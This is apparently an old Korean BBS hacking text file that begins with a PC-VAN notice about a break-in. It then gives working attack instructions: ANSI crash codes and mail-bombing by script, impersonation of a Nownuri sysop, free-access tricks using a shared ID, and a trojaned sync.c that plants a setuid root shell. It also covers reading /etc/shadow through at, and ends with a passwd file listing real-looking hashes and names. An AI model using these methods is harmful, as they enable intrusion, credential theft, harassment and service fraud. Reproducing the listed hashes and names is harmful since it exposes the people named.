         130)   01/02   참 재미있네요                               137
         127)   12/29   "머드" 시험(test)사용자를 초빙합니다        452
         126)   12/28   ● 자격정보 서비스 개시 ●                  473
         125)   12/21   ☎ InfoShop회원의 권한 & 접속방법 ☎       2773
         124)   12/21   한국통신 인포샵 1월호의 피씨밴소식...      1037
         123)   12/16   ※ Hitel 초기화면에서 91008로... ※        3163
         122)   12/16   ※ 축 91008 개통 (무료 10시간) ※          4828
         119)   12/13   증권정보를 한자리에서....                  1267
         118)   12/12   야설록-프로 무협소설 TOP-MEN에 개설!       2920
         117)   12/12   일부 써비스를 전체회원에게...              2087
         115)   12/11   ▶       증권 투자자에게 희소식       ◀   1371
         114)   12/10   유령이 되지 않는 방법                      4100

번호(공지사항 보기), ENTER(마침), Z(화면재생) : 130

                        <<  P C - V A N  공 지 사 항  >>
                                                                           1/ 4
제 목: 참 재미있네요

 저희 pcvan에도 말로만 듣던 HACKING을 당했읍니다

 증권 정보와 몇가지 공개자료실에 있던 데이터가

 없어졌읍니다

 그 헥커의 변명의글은 sysop이 돈만 알기 때문에

 자기가 판결을 내렸답니다 이런 bbs는 없어져야한다고..

 현재 역 추적중입니다 대개 윤각은 알고 있읍니다

 1월2일 오전 9시 53분에 허겁지겁 나갔읍니다

 이 9시23분이란 데이타와 우리 회원들이 알려주신

 접속시간을 한국통신에 의뢰하여 공식적인 통보를 기다리고

 있읍니다 그러나 공식적으로 자료를 받기 위해서는 형사고발이 선행되여야한답니다

 따라서 본의는 아니오나 고발수속을 밟고있읍니다

 참으로 불행한 일입니다  또 놀라운것은 저희pcvan의

 핵커동호회원들의 분노입니다 감이 우리동호회가 있는곳에

 들어와서 핵킹을 하다니...이런 뜻으로 대단히 분노하면서

 그 핵커를 잡 요령과 미리 깔아놓았던 그물에 대한

 좋은 충고를 해 주셨읍니다 핵킹을 방지하기위한 그물을

 아시겠지요? 좋은 충고 감사합니다 이 사건이 끝난후에

 공개적으로 그 회원을 밝혀드리겠읍니다

 현재까지 밝혀진것은 자세히 밝힐수 없으나 접속했던 전화번호와

 접속자의 본명 그 접속자의 학교명과 몇 학년인지..

 본인이 다른사람에게 책임을 전가할 우려때문에 접속되였던

 전화번호를 공식적으로 요청하였읍니다 접속시초 시간과

 접속종료시간, 그리고 헥킹전에 비밀방을 만들고 이야기한 자료

 등은 모두 확보하였읍니다

 접속자의 본명 그 접속자의 학교명과 몇 학년인지..

 본인이 다른사람에게 책임을 전가할 우려때문에 접속되였던

 전화번호를 공식적으로 요청하였읍니다 접속시초 시간과

 접속종료시간, 그리고 헥킹전에 비밀방을 만들고 이야기한 자료

 등은 모두 확보하였읍니다

 시간 문제이긴해도 추적은 다된것이나 다름없읍니다

 참 재미있네요 않그런가요?

다음(F) 앞(B) 다음항목(N) 앞항목(A) 상위면(P) 연속보기(PR) Z(화면재생) X(종료)
>>



* 이야기로 하는 해킹

안시를 이용하여 우린 여러가지를 할 수 있습니다.

code.txt는 메일폭탄의 코드입니다.

다음코드가 이야기에서 다운명령을 하게 하는 코드죠.
이런식으로 다른것을 포함시키면 됩니다.

rz**B00000000000000?


이러한 것을 메모 폭탄으로도 사용할 수 있습니다.
아래의 코드를 삽입하여 메일이나 메모를 보낸다면 상대방의
컴퓨터는 갑자기 다운 화면을 보여줄것입니다.
이것은 단지 맛뵈기에 불과하지만 여러분은 이것을 응용하여
갖가지 다른 방법으로 고칠수 있습니다.
이런 메모 100여개만 보내면 아마 아이디 해제하는게 날걸요~
저한테 보내지는 마세요. 흐흐흐~~
참, 이러한 안시를 이용한 방법은 이야기 스크립트와 결합시킬경우
커다란 힘을 발휠 할 수 있습니다.
이야기 스크립트를 이용해 자동으로 메모나 메일을 보낼수 있게 할수
있으니까요.
이방법을 통해 특정인에게 수백,수천통의 메일을 보내는것입니다.
다음은 이야기에서 사용하는 스크립트의 헤더파일 내용입니다.
다음의 명령어들을 이용해서 우린 간단한 프로그래밍을 할 수
있는것입니다.
기본적인 명령들을 이용하여 만든 "삐삐해킹"프로그램의 소스(pager.scs)가
포함되어 있으니 한번 활용해 보시는것도 좋겠습니다.
하지만 현재 이 방법은 삐삐회사가 막아놓아서 안통합니다.
단지 이런게 있고 이야기 스크립트로 프로그래밍을 어떻게 하는지
알아두시기 바랍니다.
이야기 스크립트는 잘만 활용하면 정말 엄청난 힘을 발휘할수 있습니다.

-------------------------------------------------------------------------

//  값 정의
#정의   잘못            0
#정의   정상            1
#정의   제대로          1

//  통신 포트
#정의   _COM1           0
#정의   _COM2           1
#정의   _COM3           2
#정의   _COM4           3

#정의   _com1           _COM1
#정의   _com2           _COM2
#정의   _com3           _COM3
#정의   _com4           _COM4
#정의   _1              _COM1
#정의   _2              _COM2
#정의   _3              _COM3
#정의   _4              _COM4


//  패리티 비트
#정의   _EVEN           0
#정의   _ODD            1
#정의   _NONE           2
#정의   _none           _NONE
#정의   _odd            _ODD
#정의   _even           _EVEN
#정의   _N              _NONE
#정의   _O              _ODD
#정의   _E              _EVEN
#정의   _n              _NONE
#정의   _o              _ODD
#정의   _e              _EVEN


//  단말기 종류
#정의   _TTY            0
#정의   _VT100          1
#정의   _VT200          2
#정의   _FS220b         3
#정의   _ANSI           4
#정의   _이야기FS       5
#정의   _이야기VT       6

#정의   _tty            _TTY
#정의   _vt100          _VT100
#정의   _vt200          _VT200
#정의   _FS220B         _FS220b
#정의   _FS220          _FS220b
#정의   _fs220          _FS220b
#정의   _ansi           _ANSI
#정의   _이FS           _이야기FS
#정의   _이VT           _이야기VT


//  사용 한글
#정의   _상용조합형     1
#정의   _삼성조합형     2
#정의   _금성조합형     3
#정의   _옛KS조합형     4
#정의   _도깨비조합형   5
#정의   _7비트완성형    6
#정의   _KS5601완성형   7
#정의   _영문전용       8

#정의   _상용           _상용조합형
#정의   _상용조         _상용조합형
#정의   _삼성           _삼성조합형
#정의   _삼성조         _삼성조합형
#정의   _금성           _금성조합형
#정의   _금성조         _금성조합형
#정의   _옛KS           _옛KS조합형
#정의   _옛KS조         _옛KS조합형
#정의   _옛ks           _옛KS조합형
#정의   _옛ks조         _옛KS조합형
#정의   _옛케이에스     _옛KS조합형
#정의   _도깨비         _도깨비조합형
#정의   _7비트          _7비트완성형
#정의   _KS             _KS5601완성형
#정의   _KS완           _KS5601완성형
#정의   _ks             _KS5601완성형
#정의   _ks완           _KS5601완성형
#정의   _영문           _영문전용
#정의   _영문전         _영문전용


//  색깔값
#정의   _검정색           0
#정의   _파랑색           1
#정의   _녹색             2
#정의   _하늘색           3
#정의   _빨강색           4
#정의   _보라색           5
#정의   _갈색             6
#정의   _밝은회색         7
#정의   _회색             8
#정의   _밝은파랑         9
#정의   _연두색          10
#정의   _밝은하늘        11
#정의   _밝은빨강        12
#정의   _밝은보라        13
#정의   _노랑색          14
#정의   _흰색            15


//  전송 속도
#정의      _110         0
#정의      _150         1
#정의      _300         2
#정의      _600         3
#정의     _1200         4
#정의     _2400         5
#정의     _4800         6
#정의     _9600         7
#정의    _14400         8
#정의    _19200         9
#정의    _38400        10
#정의    _57600        11
#정의   _115200        12


#정의   보내기          asyncputs
#정의   난수구하기      random

//  기본 함수들의 형식
정수    글마중( 글월 기다릴글월 );
정수    제한글마중( 글월 기다릴글월, 정수 시간 );
정수    글마중제한시간( 정수 제한시간 );
        찾을글( 글월 찾을글월 );
정수    화면잡기( 글월 파일이름 );
정수    코드갈무리( 글월 파일이름 );
정수    화면갈무리( 글월 파일이름 );
정수    갈무리끝( );
정수    찍기시작( );
        찍기마침( );
정수    파일보내기( 글월 파일이름 );
정수    편지보내기( 글월 파일이름 );
정수    그냥보내기( 글월 파일이름 );
정수    파일받기( );
        거는방법( 정수 방법 );
정수    전화걸기( 글월 전화번호 );
정수    전화끊기( );
        메뉴파일( 글월 파일이름 );
        단말기방식( 정수 단말기 );
        통신포트( 정수 포트 );
        전송속도( 정수 속도 );
        패리티비트( 정수 비트 );
        데이터비트( 정수 비트 );
        정지비트( 정수 비트 );
        사용한글( 정수 한글 );
정수    글쇠읽기( 글월 보낼글월 );
        정수보내기( 정수 보낼정수 );
        찾은글정리( );
정수    찾은글번호( );
        중지( );

// 파일 관련
정수    파일열기(글월 파일이름, 글월 속성);
        파일닫기( 정수 파일번호 );
정수    파일읽기(글월 버퍼, 정수 길이, 정수 파일번호);
정수    파일쓰기(글월 버퍼, 정수 길이, 정수 파일번호);
정수    파일글월쓰기(글월 버퍼, 정수 파일번호);
글월    파일글월읽기(글월 버퍼, 정수 갯수, 정수 파일번호);
정수    파일한자쓰기(정수 글자, 정수 파일번호 );
정수    파일한자읽기(정수 파일번호);
정수    파일위치(정수 파일번호, 정수 위치위쪽, 정수 위치아래쪽, 정수 위치방법);
        파일감기(정수 파일번호);
정수    파일위치위쪽(정수 파일번호);
정수    파일위치아래쪽(정수 파일번호);
정수    디스크바꿈(정수 디스크번호);
정수    디스크알기();
정수    현재목록(정수 드라이브번호, 글월 목록이름);
정수    목록바꾸기( 글월 바꿀목록 );
정수    목록만들기(글월 목록이름);
정수    목록지우기(글월 목록이름);
정수    이름바꾸기(글월 옛이름, 글월 새이름);
정수    파일지우기(글월 파일이름);

/////////////////////////
// 입출력 관련
정수    글쇠눌림();
정수    글자받기();
정수    글자받기보임();
        글자쓰기(정수 글자한자);
정수    글자받기2();
정수    글월쓰기(글월 버퍼);
정수    글월받기( 정수 가로위치, 정수 세로위치, 글월 버퍼, 정수 최대값 );
정수    창문글월받기( 정수 가로위치, 정수 세로위치, 글월 보일글월, 글월 버퍼, 정수 최대값 );
        지연( 정수 지연시간 );
정수    글쇠지연( 정수 지연시간 );
        알림( 글월 보일글월 );
        지연알림( 글월 보일글월, 정수 지연시간 );
        메모리글자쓰기(정수 세그먼트, 정수 오프셋, 정수 넣을값);
정수    메모리글자읽기(정수 세그먼트, 정수 오프셋);
정수    포트읽기(정수 포트번호);
        포트쓰기(정수 포트번호, 정수 값);
        인터럽트불가();
        인터럽트가능();
        소리( 정수 주파수 );
        소리끄기();
        연주하기( 글월 연주글월 );

// 화면 관련
        화면지우기();
        위치이동( 정수 가로위치, 정수 세로위치 );
정수    가로위치();
정수    세로위치();
정수    가로크기();
정수    세로크기();
정수    색깔알기( 정수 색위치 );
정수    색깔바꾸기( 정수 전경색, 정수 배경색 );

// 글월 관련
글월    memchr( 글월 문장, 정수 글자, 정수 갯수 );
정수    memcmp( 글월 문장1, 글월 문장2, 정수 갯수);
정수    memcpy( 글월 어디로, 글월 어디에서, 정수 갯수);
정수    memmove( 글월 어디로, 글월 어디에서, 정수 갯수);
정수    memset(글월 문장, 정수 글자, 정수 갯수);
        setmem(글월 어디로, 정수 갯수, 정수 글자);
글월    strcat( 글월 원래문장, 글월 붙일문장 );
글월    strncat( 글월 원래문장, 글월 붙일문장, 정수 갯수 );
글월    strcpy( 글월 어디로, 글월 어디에서 );
글월    strncpy( 글월 어디로, 글월 어디에서, 정수 갯수 );
글월    strchr( 글월 문장, 정수 글자);
글월    strrchr(글월 문장, 정수 글자);
정수    strcmp(글월 문장1, 글월 문장2);
정수    strncmp( 글월 문장1, 글월 문장2, 정수 갯수 );
정수    strlen(글월 문장);
글월    strstr(글월 문장1, 글월 문장2);
글월    strpbrk(글월 문장1, 글월 문장2);
글월    strtok(글월 문장1, 글월 문장2);

// 기타 필요한 함수
정수    atoi( 글월 문장 );
글월    itoa( 정수 숫자, 글월 문장, 정수 자리수 );
정수    tolower( 정수 글자 );
정수    toupper( 정수 글자 );
정수    isalnum( 정수 글자 );
정수    islower( 정수 글자 );
정수    isalpha( 정수 글자 );
정수    isprint( 정수 글자 );
정수    isascii( 정수 글자 );
정수    ispunct( 정수 글자 );
정수    iscntrl( 정수 글자 );
정수    isspace( 정수 글자 );
정수    isdigit( 정수 글자 );
정수    isupper( 정수 글자 );
정수    isgraph( 정수 글자 );
정수    isxdigit( 정수 글자 );
정수    random( 정수 범위 );
        randomize();
        srand(정수 seed);
정수    절대값( 정수 숫자 );
정수    최소값( 정수 숫자1, 정수 숫자2 );
정수    최대값( 정수 숫자1, 정수 숫자2 );
정수    검사하기( 글월 문장 );
정수    알림검사하기( 정수 가로위치, 정수 세로위치, 글월 알림글, 글월 예, 글월 아니오 );
        중지알리기( 글월 알림글 );
        글쇠알리기( 글월 알림글 );
글월    파일고르기( 글월 파일이름, 글월 알림글 );
        파일보기( 글월 파일이름 );
        메뉴색깔( 정수 글자색, 정수 배경색 );
정수    메뉴고르기( 정수 가로위치, 정수 세로위치, 정수 가로글자갯수, 정수 세로메뉴갯수, 글월 머릿말, 글월 메뉴이름들 );
정수    선택하기( 정수 가로위치, 정수 세로위치, 정수 길이, 정수 갯수, 정수 시작위치 );
정수    파일이름분리( 글월 원래문장, 글월 드라이브, 글월 목록, 글월 파일이름, 글월 확장자);
정수    도스명령(글월 명령어);
정수    파일확인(글월 파일이름, 정수 확인종류);
글월    시간알기();
글월    날짜알기();

////////////////////////////
// 통신 관련
정수    asyncget();
정수    asyncput( 정수 값 );
정수    asyncgetch();
        asyncputs(글월 str);
정수    carrier();

///////////////////////////
// 시스템 관련
        한글종류바꿈( 정수 어디에서, 정수 어디로 );
        한글바꿈( 글월 한글 );
정수    글월바꿈( 글월 문장 );
정수    intget( 글월 문장, 정수 갯수 );
글월    intput( 글월 문장, 정수 갯수, 정수 값 );
글월    strput( 글월 문장1, 글월 문장2, 정수 갯수 );
글월    strgetstr( 글월 문장, 정수 갯수 );

////////////////////////////
// 그림 관련
        pie( 정수 가로위치, 정수 세로위치, 정수 반지름, 정수 시작각, 정수 끝각, 정수 색깔 );
        arc( 정수 가로위치, 정수 세로위치, 정수 시작각, 정수 끝각, 정수 반지름 );
        arcfill( 정수 가로위치, 정수 세로위치, 정수 시작각, 정수 끝각, 정수 반지름 );
        putpixel( 정수 가로위치, 정수 세로위치 );
        putpixelpattern( 정수 가로위치, 정수 세로위치 );
정수    getpixel( 정수 가로위치, 정수 세로위치 );
        setpattern(정수 mode,정수 PsizeX,정수 PsizeY, 글월 Pattern);
        line( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
        lineto( 정수 가로위치, 정수 세로위치 );
        moveto( 정수 가로위치, 정수 세로위치 );
        hline( 정수 가로위치,정수 세로위치,정수 길이 );
        xorline( 정수 가로위치1,정수 세로위치1,정수 가로위치2,정수 세로위치2 );
        xorblock( 정수 가로위치, 정수 세로위치 , 정수 가로넓이 ,정수 세로넓이 );
        circle( 정수 가로위치, 정수 세로위치, 정수 반지름 );
        box( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
        boxfill( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
        xorbox( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
        clearblock( 정수 가로위치, 정수 세로위치, 정수 가로넓이, 정수 세로넓이 );
-------------------------------------------------------------------------------------


다음은 나우누리에서 시삽4를 사칭하는 안시입니다.
아래대로 행하면 대화방에서 누가봐도 sysop4(나우지기)로 보입니다.
겜방을 초토화해보세요!

☞는  글쇠정의 (Alt_M) 에서 ┛는 Ctrl+B+[ 입니다.
우선 Alt_C(채팅모드에서)

*** sysop4(나우지기)님이 들러 오셨습니다!! ☞ 똑같이 (들어오는는 경우)
*** sysop4(나우지기)님이 나가셨습니다.  ☞ 똑같이  (나가는 경우)

/al $#133$#141┛┛┛┛
☞ /al $#133$#141$e$e$e$e
┌────────────────────┐
│                                        │
├────────────────────┼
│sysop4(나우지기)    _                   │
└────────────────────┘

그러나 일부 사람들은 /st 를 해보는 경우도 있으니 이를 대비하기위해
"/al 자기이름"을 써넣어야 합니다.

추가로 다음것은 다운안시  "/al ┛[99999M"  입니다.
컴퓨터를 다운시키는 안시죠. 테스트 해보시길...
그리고 다운안시 피하는 법은 터미널 TTY를 사용하면 됩니다.

그리고 기업체,교육,전화국 등 공공 ID 의 경우는 비밀번호로 전화번호가
대부분 쓰입니다. 하이텔등에서 주로 자행되는 쉬운 비밀번호들은
아이디도용의 표적이되죠.

다음은 천리안을 무료로 이용할수있는 비결입니다.
1. 01420 으로 접속을 합니다.
2. 12번 "농림수산 정보" 에 접속을 합니다.
3. GUEST로 들어가 100번에서 가입을 합니다.
4. 가입하고 3~4일 지나면 확인 전화를 한후 실제 접속합니다.
5. TOP 에서 99번을 쳐세요
6. 거기서 "1. 천리안 서비스 연결" 이런 메뉴에 접속을 시도합니다.
단, 이 방법은 농림수산 정보라는 공유 아이디로 들어 갔기 때문에
    메일을 보낸다거나 게시물을 쓴다거나 하는 것들은 불가능합니다.
    즉, 쓰기 기능은 불가능 합니다.
    끝으로 주의사항으로 장수비결을 알려드리자면,
    천리안 사용시간이 농림수산 정보의 사용시간의 95% 이상을 차지하면
    안 된다는 것입니다.
    즉,농림수산 정보에 가입해서 매일 천리안만 한다면 2달동안 천리안 사용
    기능을 박탈당하니 농림수산 정보에서도 활동 하여야합니다.
아차, 01410으로 접속해도 농림수산 정보가 나옵니다.
그리로도 해보세요.






* 백도어와 개구멍
백도어를 아십니까? 일명 뒷문이라고 하죠.
해커가 침투(?)해서 자신이 원하는 작업을 한후 차후에 또 접속하기위해
백도어를 설치하는 것입니다.
즉, 백도어란 ROOT의 관리자 모르게 자신에게 ROOT권한을 부여한
퍼미션을 열어두는 것이죠.

아래 설명하는것은 초보적인 것들이기에 웬만한 보안툴에는 다 잡히지만
게으른 관리자도 많으니 한번 해보시길...

예를 들어봅시다.

(1) 기초적인 것으로  /dev 디렉토리에 suid된 shell을 숨겨둡니다.
    /dev에는 많은 파일이 들어 있으므로 섣불리 ls해 보지는 않는다는
    인간적인 약점을 이용하는 것입니다.
(2) login을 다시 컴파일합니다.
    소스인 "login.c"에 특정 패스워드를 집어넣어 자신이 이것을 입력했을경우
    로그인이 되도록 하는것입니다.
    하지만 이것은 리눅스같이 소스가 공개되어 있는것은 가능하지만 SUN같은
    것은 좀 힘듭니다. 하지만 SUN도 소스가 어딘가에 있으니 불가능하지는
    않을듯...
(3) sync를 컴파일합니다.
#cat >sync.c
main()
{
    if (get_uid() == 0) {
        system("cp /bin/sh /tmp/.rootsh");
        system("chmod u+s /tmp/.rootsh");
    }
    sync();
}
^D
#cc -o sync sync.c
#cp sync /bin/sync
    이렇게 해 두면 루트가(또는 일정시간마다) sync가 수행될때마다
    /tmp에 .rootsh이 생성된다. 혹시 root가 알고 지웠을 경우라도
    sync가 바뀌었다는것을 모른다면 sync가 수행될때마다 계속 생길 것입니다.
(4) /dev/kmem을 읽기 가능한 상태로 만들어 둡니다.
    '/dev/kmem'이 읽기 가능하다면, 당신은 짧은 C프로그램을 사용하여
    다른 터미널의 입출력을 가로챌 수 있고 따라서 로그인 네임과 비번등
    모든것을 가로챌 수 있기때문이죠.
    '/dev/kmem'이 쓰기 가능이라면, user structure를 편집하여 당신의
    uid를 바꿀수 있습니다.


백도어 말구 개구멍이란게 있습니다.
개구멍이란 예를들어 천리안,하이텔 같은 서비스에서 인터넷으로
오고 갈수 있는지 등입니다.
이를 인바운딩 혹은 아웃바운딩 이라고 말합니다.
인바운딩이랑 인터넷에서 서비스사로 들어올수 있는 기능이고 아웃바운딩은
그 반대로 나갈수 있게 하는 것입니다.
현재 유료화된 인터넷 계정 서비스등을 사용한다면 모를까 그전에는
인바운딩 서비스 같은 것을 하는줄도 몰랐고 할수있다고 해도 접속도메인을
알수없게 했습니다.
개구멍이란 바로 그러한 접속 도메인을 일컿는것입니다.
다음과 같은것이 그러한 것입니다.

hitel.goldstar.co.kr
202.30.93.19
134.75.141.101
134.75.100.120


* 최근에 주목받고있는 대표적인 해킹방법
  다음은 어느곳에선가 기사화된 자료를 바탕으로 재구성한 것입니다.
  기본적인 상식이니 꼭! 알아두세요.
  다음에는 이것들에 대한 실제적인 사용법에 대해 더 자세히 다루죠.

  * IP Spoofing
  인터넷 프로토콜인 TCP/IP의 구조적 결함, 즉 TCP 시퀀스번호, 소스
라우팅, 소스 주소를 이용한 인증(Authentication) 메커니즘 등을 이용한
방법으로써 인증(Authentication) 기능을 가지고 있는 시스팀을 침입하기
위해 침입자가 사용하는 시스팀을 원 호스트로 위장하는 방법이다.
즉, 자신의 컴퓨터를 상대방의 컴퓨터인것처럼 가장하는 방법인데
상대의 보안 시스템은 나의 침입을 알지못하고 나를 자신으로 아는것이다.
이방법은  NASA 에 침투할 대표적인 방법이다.

  # Packet Sniffering 방법
  현재 가장 많이 쓰이고 있는 방법으로 tcpdump, snoop, sniffer 등과
같은 네트워크 모니터링 툴을 이용해 네트워크 내에 돌아다니는 패킷의
내용을 분석해 정보를 알아내는 것이다.
스니퍼같은 프로그램을 이용하여 네트워크에서 돌아다니는 패킷들을
이용하는 일종의 도청이라 보겠다.
  해커는 먼저 자신의 시스팀이나 보안 취약점을 가지고 있는 시스팀을
침입하여 루트 권한을 획득한다.  그후 이 시스팀에 다시 로그인하기
위해 트로이목마 풀그림 혹은 백도어를 설치한 후 그 시스팀이 속해 있는
네트워크 상의 모든 ftp, 텔넷 그리고 rlogin 세션의 처음 128개의 문자를
가로챌 수 있는 네트워크 모니터링 툴을 설치해 실행한다.
  일반적으로 처음 128문자내에는 시스팀명, 사용자명, 패스워드에 대한
정보가 포함되어 있어서 이 정보를 이용하면 아무런 어려움 없이
네트워크 내 모든 호스트에 접속할 수 있다.
참고로 이러한 문자들의 조합으로 만들어낼 수 있는 가짓수는 무려 20조개에
달한다.

  # OS 설치 방금 끝낸 호스트 침입
  인터넷에서 중요한 게이트웨이나 서비스 호스트들은 성격상 OS를
업그레이드 하거나 새로운 OS를 설치하는 경우에 사용자들이 이용하지
못하므로 대부분 언제 새로운 OS를 설치한다는 것을 네트워크를 통해서
공지하게 된다.  하지만 OS 설치를 막 끝낸 호스트는 루트의 패스워드가
없거나 보안 검사(Security Check) 기능이 거의 작동되지 않는
상황이므로 누구나 쉽게 침투할 수 있다.
물론 이방법은 가장 쉽게 생각할 수 있는것이지만 어느 사이트가 새로
OS를 바꾸었는지 알기어렵다.
하지만 자주 들르는 곳이라면 그 변화를 알수 있으니 주목해보기를...

  # Sendmail 버그
  Sendmail은 네트워크 간에 메일을 전송해 주기 위해 만들어진
메일전송 풀그림이다.  이 풀그림은 TCP/IP, UUCP, 빗넷 등 다른
네트워크 간의 전송도 가능하게 하므로 거의 모든 유닉스 기종에서
사용되고 있다.  따라서 Security Hole이 발견되면 그 여파가 어떤
것보다 크다.  대부분 자사 유닉스에 버전 5의 이 풀그림을 함께
배포하는데, 많은 버그를 가지고 있는 것으로 알려지고 있다.  88년에
인터넷에 연결돼 있던 7천 5백대의 시스템이 정지했던 인터넷 웜(Internet
Worm) 사건 때에는 'debug'라는 버그로 명성을 떨쳤다.
이 인터넷웜 사건은 지금까지도 떠들썩하게 전해 내려오는 대표적 사건이다.
현재에도 AT명령을 이용한 SENDMAIL버그가 유용하게 쓰이고있다.


  # 상업 통신망 해킹
  하이텔, 천리안, 나우콤 등 통신망은 인터넷과 연결되기 이전에는
자체적으로 내부의 네트워크를 사용하고 있었다.  그런데 실제 서비스
이용자들은 유닉스 위에서 작동되고 있는 메인 프로그램에서 빠져 나오는
경우가 거의 없었으므로 서비스를 하고 있는 유닉스 호스트와 네트워크는
허술하게 세팅돼 있다.  하지만 인터넷과 연동한 요즘은 과거에는 없었던
허점들이 인터넷 해커들의 좋은 목표가 되고 있다.  나우콤과 천리안의
경우 방화벽(Firewall)을 설치해 운영하고 있으나, 느슨하게 구성되어
있어서 역시 허점을 많이 나타내고 있다.  방화벽은 사실 여러
네트워크와 연동하고 있는 기관에선 좋은 대안이 아닐 수도 있다.
사실 국내 통신망들에서 제공하는 인터넷 서비스의 초기때만해도 한창
이러한 문제로 극성이었다.
방화벽을 설치한다 하더라도 이것이 만능은 아니기 때문이다.

  # 인터넷 상업망 서비스
  아이네트나 코넷 같은 인터넷 서비스 공급업체나 이 업체에 연동해서
인터넷 서비스를 받는 기관 역시 많은 문제점을 안고 있다.  망서비스를
하는 회사는 각 서비스마다 전담하는 인원을 두게 마련인데, 이런 경우
한 호스트에서 시스팀을 총체적으로 관리할 수 없어서 여러 가지
잠재적인 문제점을 안게 된다.
아이네트등이 주로 해커들의 표적이된다.
아이네트에서 빼내어진 패스워드화일은 "파워해킹테크닉"에도 소개되었을
정도로 허술했었다.
더우기 요즘은 그 패스워드 화일을 매매하는 경우도 있으니...

  # Firewalls의 해킹
  방화벽(Firewall)은 업체나 기관에서 인터넷에 연동할 때 외부에서
시도되는 해킹을 막기 위해서 게이트웨이 정도에서 연결을 막아 버리는
방법으로 개발되었다.  따라서 큰 기관에서 각 호스트 보안을 걱정하지
않아도 되는 장점이 있다.  하지만 Firewall 안에 속해 있는 호스트들은
대부분 허술하게 관리되고 있어 일단 Firewall만 뚫리고 나면 그 기관
전체가 다 무너지는 단점이 있다.
대형통신망 서비스회사 자체내부나 그와 연결된 기관에서 직접 해킹을
시도한다면 방화벽이 무색해진다.
실제로 그러한 회사 내부에서 아르바이트 하는 학생들이 간혹 그런일을
저지르기도 하니...

여담이지만 실제로 제가 일하고(?)있는 모 대형 통신서비스 회사를 보면
정말 너무 허술하게 관리되고 있더군요.
우린(?) 직원들이 퇴근한 밤에 주로 그 컴을 사용해 작업을 하고
연구소와 물려있는 호스트에 결과를 쌓아두고,테스트 하는데
우린 이미 방화벽안에 들어 있는 셈이지요.
센터직원들의 경우 중요한 문서등을 그대로 방치한채 관리하더군요.
우리끼리 하는말이있죠. 이것들을 다 갖고 나르면 새로운 대형
통신회사 생기겠구나 하구...
하지만 이경우는 일부 특수한 경우이고 보통 외부에서 접속해야 하는데
쫌 힘들죠. 하지만 뜻이 있는곳에 길이있다고 했으니 너무 걱정 마세요.




* AT명령을 이용한 패스워드 쉐도우 가져오기
AT 명령은 누차 얘기했지만 상당히 쓸모있는 명령입니다.
이를 이용해서 패스워드 화일(쉐도우)을 가져와보기로 하죠.
at명령은 지정된 시간에 어떤 명령을 수행할 수 있게 해주는 명령입니다.
이 at명령으로 퍼미션이 막힌 화일도 읽을 수가 있는게 강점이죠.
요즘은 이 버그가 막힌곳이 많지만 아직도 통하는 곳이 있으니 문제죠.
먼저 date 명령으로 시간을 확인한후 현재 시간이 15:30분이면
시간을 넉넉히 두고
at -f /etc/shadow 1540
이렇게 명령을 주면 됩니다. 뒤에 숫자는 시간이겠죠.
이렇게 해서 다음 디렉토리에 가서 화일을 봅니다.
/var/spool/cron/atjobs
아까 나온 숫자를 이름으로 하는 화일이 하나 있습니다.
단, 이 화일은 15:40분이 지나면 사라지니 그전에 보셔야 할겁니다.
물론 일정부분의 편집은 거쳐야합니다.
이제 여러분은 쉐도우를 얻을 수 있는 것입니다.
이것을 막기위해서는 권한을 상당히 막아놓아야합니다.
물론 관리자 측면에서죠. AT명령을 아에 안통하게~~
그리고 참고로 한마디 더 하자면,
예전에 VI 에서 쉘로 빠지는 방법이 있었습니다.
아~당연히 가는 그런거말고 나우누리에서 빠지는 그런거 말입니다.
일전에 나우가 해킹당했을때 이방법을 쓴거라는 소문이 자자했었거든요.
이제는 안돼지만요.
:w! !/bin/sh < /dev/ttyS0 뭐 이런식으로 들어 갔다고 하던데
요즘은 감시 프로그램이 계속 백그라운드로 돌아가서리
단번에 걸릴겁니다.


* 패스워드와 크랙잭
유닉스에서 패스워드는 반드시 암호화를 거칩니다.
이렇세 암호화된 패스워드는 /etc 디렉토리에 저장이됩니다.
여러분이 대학등에 계정을 가지고 있다면
$ cd /etc 를 하면 패스워드가 들어있는 디렉토리에 접근이 가능합니다.
그곳에서
$ cat passwd
하시면
패스워드 화일이 줄줄줄 나올겁니다.
우리가 예를들어 어느 대학 전산망에 침투했다면
접속을 한후 /etc 로 이동한후 패스워드 화일을 갈무리하는게
가장 손쉬운 방법입니다.
이를 다시 "크랙잭"등으로 돌리면 패스워드가 일치할경우 찾아내주는것입니다.

다음과 같은 패스워드 화일들에 대해서 설명을 하죠.


1)로긴명:        아이디입니다.
2)암호화된 비밀번호:          DES로 암호화되어 역추적불가능하죠.
  단지,크랙잭같은 프로그램으로 대입만 가능할 뿐이죠.
3)사용자의 아이디넘버:
4)사용자의 그룹넘버:
5)디스크립션:
6)로긴홈디렉토리:
7)로긴셀

1)   2)            3)4)5)      6)7)
root:WEilPYJf3WBj6:0:1:Operator:/:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:12:6:Internet News:/usr/lib/news:/bin/csh
usenet:*:13:6:/Internet News Helper:/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
lim:jAN90JhjdNIX2:3001:10:Seogdae Lim,{Computer Center SUN630CC(3000)}:/home4/lim:/bin/csh
lee:fspD3tUjKYR9E:3003:10:training member:/home/lsy:/bin/csh
songgi:NiIND3QyqF7nc:3004:20:Songgi Min:/home2/songgi:/bin/csh
yeongguk:RVPUHkvu1Xpl6:3005:10:Yungguk Cho:/home2/yeongguk:/bin/csh
jungkk:FOr3wq0MXohEQ:3006:10:Kapkyu Jung:/home2/jkkk:/bin/csh
leesy:JAerYaGOF3E92:3007:10:Soonyi Lee:/home2/leesy:/bin/csh
nyoungmi:tU0oS1lvZh07E:3008:10:Youngmi Lho:/home2/nyoungmi:/bin/csh
limsd:AvSQtKfAiSwpw:3009:10:Seogdae Lim:/home4/limsd:/bin/csh
